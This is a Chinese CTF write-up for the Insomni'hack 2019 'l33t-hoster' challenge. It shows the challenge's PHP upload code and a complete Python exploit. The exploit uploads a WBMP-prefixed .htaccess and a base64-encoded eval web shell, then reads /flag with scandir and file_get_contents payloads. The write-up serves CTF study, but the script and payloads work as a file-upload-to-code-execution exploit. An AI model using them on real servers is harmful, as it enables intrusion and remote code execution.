http://bmzclub.cn/challenges#insomniteaser_2019_l33t_hoster
文件上传,/?source
回显源码
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));
session_start();
if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}
$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);
if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}
$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);
if (empty($parts[0])) {
array_shift($parts);
}
if (count($parts) === 0) {
die("lol filename is empty");
}
if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}
$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}
if (!exif_imagetype($tmp_name)) {
die("not an image.");
}
$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}
$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";
?>
- 黑名单:
php
、php3
、php4
、php5
、php7
、pht
、phtm
、phtml
、phar
、phps
- 上传的文件内容中不能有
<?
字样 - 必须是
exif_imagetype
中一种图片格式,且长宽得是1337*1337
规格的
因为这里服务器是Apache/2.4.18 (Ubuntu)
,所以第一个想到的是上传.htaccess
文件,在AllowOverride
开启的情况下,.htaccess
文件可以修改 PHP 能解析的文件后缀,但是这里要求上传exif_imagetype
中的图片格式,会检查图片开头,如果将正常图片的文件头放在exif_imagetype
中绕过检查,那样会影响.htaccess
的解析。最终在exif_imagetype中找到一种叫wbmp
的文件,该文件开头是0x00,0x00
,再加上宽度和高度内容很小,不会影响.htaccess
解析,这样就可以绕过黑名单和exif_imagetype
,但是还是无法绕过上传文件中不能有<?
字样
Apache2的配置文件中可以用php_value
来覆盖php.ini
的设置,而php.ini
中有一条设置:auto_append_file
,用来再所有php文件执行前先include
一个文件,而在include
中我们可以使用PHP流
。那么我们就可以先上传.htaccess
文件解析执行后缀名文件,在.htaccess
中设置auto_append_file
项,设置了之后就可以使用PHP流
,那么我们之后上传的shell文件就可以base64编码绕过关键字过滤,然后使用php://流
中的base64编码设置来解码shell内容然后解析
这里就直接利用Refer
里面的那个脚本
#!/usr/bin/env python3
import requests
import base64
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://www.bmzclub.cn:20351/"
RANDOM_DIRECTORY = "9541e8141d8a9e9b3b810a3560d4ad694a5a3db0"
COOKIES = {
"PHPSESSID" : "33eb9c27d8a983d935e15389ba99b05b"
}
def upload_content(name, content):
data = {
"image" : (name, content, 'image/png'),
"upload" : (None, "Submit Query", None)
}
response = requests.post(URL, files=data, cookies=COOKIES)
HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
echo "shell ok!";
eval($_POST['mochu7']);
?>
""")
upload_content("..htaccess", HT_ACCESS)
upload_content("mochu7.jpg", TARGET_FILE)
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/mochu7.jpg")
print(response.text)
然后访问/images/9541e8141d8a9e9b3b810a3560d4ad694a5a3db0/mochu7.jpg
shell拿到了,但是有很多disable_function
shell是废的,但是没有过滤scandir()
和file_get_contents()
,那就还可以浏览文件,根目录直接找到/flag
mochu7=var_dump(scandir('/'));
mochu7=var_dump(file_get_contents('/flag'));
Refer: https://tiaonmmn.github.io/2019/05/15/Insomni-hack-teaser-2019-l33-hoster/